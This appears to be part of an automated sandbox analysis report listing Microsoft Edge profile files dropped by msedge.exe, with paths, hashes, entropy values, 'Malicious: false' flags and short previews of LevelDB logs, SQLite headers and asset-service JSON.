Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.269582956670809
Encrypted:	false
SSDEEP:	6:HNc3uvRM1N723oH+Tcwtp3hBtB2KLlVNcZaiSVq2PN723oH+Tcwtp3hBWsIFUv:tDsaYebp3dFLlgalVvVaYebp3eFUv
MD5:	B760CDD475A22104A78BD793CB29BF91
SHA1:	C5DDAB383A86C58285846C3C7AEE735D538D8D6A
SHA-256:	F7EBBC93637667D6FCD1D8D8E098D82737A20A1E800A77CA25BFFBAB516CB8D0
SHA-512:	AC377DBA41D8A2CF39F7359B864C4C3DE6AE7FD14A2849288D3A6DB166F8D005069D3235D4BD33E48C887BA24D914D8A921265BB81BA8E45346CF2A31877496F
Malicious:	false
Preview:	2024/11/26-10:31:37.944 1f74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/26-10:31:37.953 1f74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222869160967297
Encrypted:	false
SSDEEP:	24576:IbPMZpV0fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpV0fx2mjF
MD5:	1EE28789FA503BDEBE85F1B9864DAEE9
SHA1:	6A4E6493516550B8159038DF1EEDE381C89DB202
SHA-256:	79A5BBEF970A84DF98E30FAD2B9168B11CD94F3819D3EB6DB03CF5A6F0DA178B
SHA-512:	5F8F9203797CBC8050330603F4C786795F8FBD57923FDE6554B476C23AC4E188DD7D975A5011B1D34188DF950AA6C866F8D55FC819B989CC81C9AC84D9E9430A
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1064199296587764
Encrypted:	false
SSDEEP:	6:HNXmFlL+q2PN723oH+Tcwt9Eh1tIFUt8YNX1zKWZmw+YNRjlLVkwON723oH+Tcw+:tXm3+vVaYeb9Eh16FUt8uX1zKW/+ujVW
MD5:	416C0C4B5A7FDDCF123E85B04EF0E66A
SHA1:	072A72E8188E0340E2D12EBF9AD8352216883CF3
SHA-256:	B9041447011B6A403A3CBE98B9E7404D1FDE2C98F4528625DCD2AD865A529B85
SHA-512:	6DF512CCAC4EA00869094073D82CAAC97BAD6C4CDBBF5C5B9BC21517F875BC0FBB713B9943F4DC4B26222FA2664391946EAF83CBF401799791826E766D784F8B
Malicious:	false
Preview:	2024/11/26-10:31:37.803 20cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-10:31:37.808 20cc Recovering log #3.2024/11/26-10:31:37.813 20cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1064199296587764
Encrypted:	false
SSDEEP:	6:HNXmFlL+q2PN723oH+Tcwt9Eh1tIFUt8YNX1zKWZmw+YNRjlLVkwON723oH+Tcw+:tXm3+vVaYeb9Eh16FUt8uX1zKW/+ujVW
MD5:	416C0C4B5A7FDDCF123E85B04EF0E66A
SHA1:	072A72E8188E0340E2D12EBF9AD8352216883CF3
SHA-256:	B9041447011B6A403A3CBE98B9E7404D1FDE2C98F4528625DCD2AD865A529B85
SHA-512:	6DF512CCAC4EA00869094073D82CAAC97BAD6C4CDBBF5C5B9BC21517F875BC0FBB713B9943F4DC4B26222FA2664391946EAF83CBF401799791826E766D784F8B
Malicious:	false
Preview:	2024/11/26-10:31:37.803 20cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-10:31:37.808 20cc Recovering log #3.2024/11/26-10:31:37.813 20cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46281029270876056
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuyM:TouQq3qh7z3bY2LNW9WMcUvBuyM
MD5:	840E116BB5763CF193AFBEE38141C364
SHA1:	15A8B740F884835D1426901660FB49FDA383019F
SHA-256:	8022FA37E985A39363853B5A5ED6D0482439890AC3D74F78B312FE464CC38E1A
SHA-512:	B1C20B3C3FE665E0E50D21EF27D66CCA5A1E687733D5D797831393E7F98CEB9D41B46ADDF5CD49FDB148D7821733E876273A8765275C2E5FDDA349123B4DAD7A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.18121428296224
Encrypted:	false
SSDEEP:	6:HNsSCZ4Q+q2PN723oH+TcwtnG2tMsIFUt8YNsSAgZmw+YNsSAQVkwON723oH+Tci:tlQ+vVaYebn9GFUt8ucg/+ucQV5OaYeV
MD5:	6B6D123139E8D8DC5389E85814E6E75A
SHA1:	89B4FCA6BF834E44A7B938F7390E1EC244F9C02B
SHA-256:	4777BE23F2D16A31174A79DBD8571138D7F44929BE2CDC8EF1A75B969B3B1EE3
SHA-512:	FEC4F5BB02371E1F5ED9113EB4502BC29ACD4B18C7BA2772E9089FBB4C1AFD25AECE41399F89F7D1E462D3A9CF4F1919E4B26ED02C6E926FF3B132F78191B804
Malicious:	false
Preview:	2024/11/26-10:31:32.734 1e7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/26-10:31:32.735 1e7c Recovering log #3.2024/11/26-10:31:32.735 1e7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.18121428296224
Encrypted:	false
SSDEEP:	6:HNsSCZ4Q+q2PN723oH+TcwtnG2tMsIFUt8YNsSAgZmw+YNsSAQVkwON723oH+Tci:tlQ+vVaYebn9GFUt8ucg/+ucQV5OaYeV
MD5:	6B6D123139E8D8DC5389E85814E6E75A
SHA1:	89B4FCA6BF834E44A7B938F7390E1EC244F9C02B
SHA-256:	4777BE23F2D16A31174A79DBD8571138D7F44929BE2CDC8EF1A75B969B3B1EE3
SHA-512:	FEC4F5BB02371E1F5ED9113EB4502BC29ACD4B18C7BA2772E9089FBB4C1AFD25AECE41399F89F7D1E462D3A9CF4F1919E4B26ED02C6E926FF3B132F78191B804
Malicious:	false
Preview:	2024/11/26-10:31:32.734 1e7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/26-10:31:32.735 1e7c Recovering log #3.2024/11/26-10:31:32.735 1e7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6138022968970198
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWmEjeMAlIEX:TLapR+DDNzWjJ0npnyXKUO8+j/zpOPmL
MD5:	CA9A7E6132B8CC34C3C7E57D561EA620
SHA1:	DFFD0E513BF5BB549C0AE17E4068920978DCFA61
SHA-256:	79C83DB8F9BA2765921CE33A61C0F7AB8D7C0C38C7D4724831B7D73A63DF66E2
SHA-512:	30C3F7DCF3B4A7B80566DA51C3705884BA1665CD6176E01974A9946C090B0A08E1E1EA4021C428311B44F27494306C83CE6246D9C6AC5F1427985C44FE862AAF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	409
Entropy (8bit):	5.755035996839248
Encrypted:	false
SSDEEP:	12:TIGrPNAQ3AHiFpwvwvem/qVIRB6SUxNaHJ:TIm4VIRBNUq
MD5:	BB43F99CC2D22BA8B88DD0E2B240C048
SHA1:	3A71C88ABBAE8AEDD3075EEC40A1961EA6E2FC82
SHA-256:	B7B475D20C75C60B2CE44B2E2847A035441513C8EE85B8DDC3AC28E35E2F393C
SHA-512:	87F58DEAB24968C6ED0358078563BB5F6C2AB0D2B8881522502E55C961AE9D6838D4169E7D5BE95DF4EE19A39B8538CB8D81E97534C5590AC91953F63CE4F5E1
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13377108702004290..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.117639095111426
Encrypted:	false
SSDEEP:	6:HNaQD1N723oH+Tcwtk2WwnvB2KLlVNakL+q2PN723oH+Tcwtk2WwnvIFUv:taQDaYebkxwnvFLlakL+vVaYebkxwnQg
MD5:	752506D751D159C9DFFA77FB38BFDC5C
SHA1:	CEA3F630E28B90905F568CA22B51041AEA96F06E
SHA-256:	E4C4B8470EBB74C947C1E23FBA4E5C6AD2BBE983FD99A1A7036B96C571A83E94
SHA-512:	61E6200C9E0A7F58ADDC7DD13CAB6806FDB09F277C187C666E7DDE2A9BA08C96D36D8649E67CF3F35FB488A94CD65C58D59F59CE7985864010C346CEF2AB7C12
Malicious:	false
Preview:	2024/11/26-10:31:38.058 20ec Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/26-10:31:38.212 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.163198443298009
Encrypted:	false
SSDEEP:	6:HNsf+q2PN723oH+Tcwt8aPrqIFUt8YNsh5Zmw+YNshtVkwON723oH+Tcwt8amLJ:tpvVaYebL3FUt8uY5/+uYT5OaYebQJ
MD5:	05F41D26AB2CFB82C5DD75BB33FF519E
SHA1:	BC6B0EEF83893438C9A76414211096204680E38A
SHA-256:	CA0DB7F0C3670CACF0D5A5D1C67DA2184FE2B86EF2607BDA14F25A40974209BF
SHA-512:	13C4158479786170D075376A7ED7CE70EDBA528F098A6EAFF16701BC27507C1BC8C4CC6A0DBC89DABF81017673AD568C2A5B738939ED110758F6DD65C97DB241
Malicious:	false
Preview:	2024/11/26-10:31:32.489 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/26-10:31:32.492 1e78 Recovering log #3.2024/11/26-10:31:32.492 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.163198443298009
Encrypted:	false
SSDEEP:	6:HNsf+q2PN723oH+Tcwt8aPrqIFUt8YNsh5Zmw+YNshtVkwON723oH+Tcwt8amLJ:tpvVaYebL3FUt8uY5/+uYT5OaYebQJ
MD5:	05F41D26AB2CFB82C5DD75BB33FF519E
SHA1:	BC6B0EEF83893438C9A76414211096204680E38A
SHA-256:	CA0DB7F0C3670CACF0D5A5D1C67DA2184FE2B86EF2607BDA14F25A40974209BF
SHA-512:	13C4158479786170D075376A7ED7CE70EDBA528F098A6EAFF16701BC27507C1BC8C4CC6A0DBC89DABF81017673AD568C2A5B738939ED110758F6DD65C97DB241
Malicious:	false
Preview:	2024/11/26-10:31:32.489 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/26-10:31:32.492 1e78 Recovering log #3.2024/11/26-10:31:32.492 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.181717957209282
Encrypted:	false
SSDEEP:	6:HNsQ3FUN+q2PN723oH+Tcwt865IFUt8YNsQ3tXZmw+YNsQ3t3VkwON723oH+Tcwx:txiIvVaYeb/WFUt8uxdX/+uxdF5OaYev
MD5:	87EB96AD2925FFBC13FB66F1A59553AA
SHA1:	6492B2A650A773AB0478A0AC38286004210D6BDC
SHA-256:	359E1419F86CD5FCC75FF3C355B6EC84E6B395667C6B31D8738FCB68AD1E9E96
SHA-512:	B391A8E2EBC1677C73EF36FEFB2E0A1E48DD2A762DE54D743E5D301C386C3BB32FE5A84C4819F581B62B2DF193473E2250A24548EE2B6E43E1D309DC53E7CA29
Malicious:	false
Preview:	2024/11/26-10:31:32.508 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/26-10:31:32.509 1e78 Recovering log #3.2024/11/26-10:31:32.509 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.181717957209282
Encrypted:	false
SSDEEP:	6:HNsQ3FUN+q2PN723oH+Tcwt865IFUt8YNsQ3tXZmw+YNsQ3t3VkwON723oH+Tcwx:txiIvVaYeb/WFUt8uxdX/+uxdF5OaYev
MD5:	87EB96AD2925FFBC13FB66F1A59553AA
SHA1:	6492B2A650A773AB0478A0AC38286004210D6BDC
SHA-256:	359E1419F86CD5FCC75FF3C355B6EC84E6B395667C6B31D8738FCB68AD1E9E96
SHA-512:	B391A8E2EBC1677C73EF36FEFB2E0A1E48DD2A762DE54D743E5D301C386C3BB32FE5A84C4819F581B62B2DF193473E2250A24548EE2B6E43E1D309DC53E7CA29
Malicious:	false
Preview:	2024/11/26-10:31:32.508 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/26-10:31:32.509 1e78 Recovering log #3.2024/11/26-10:31:32.509 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
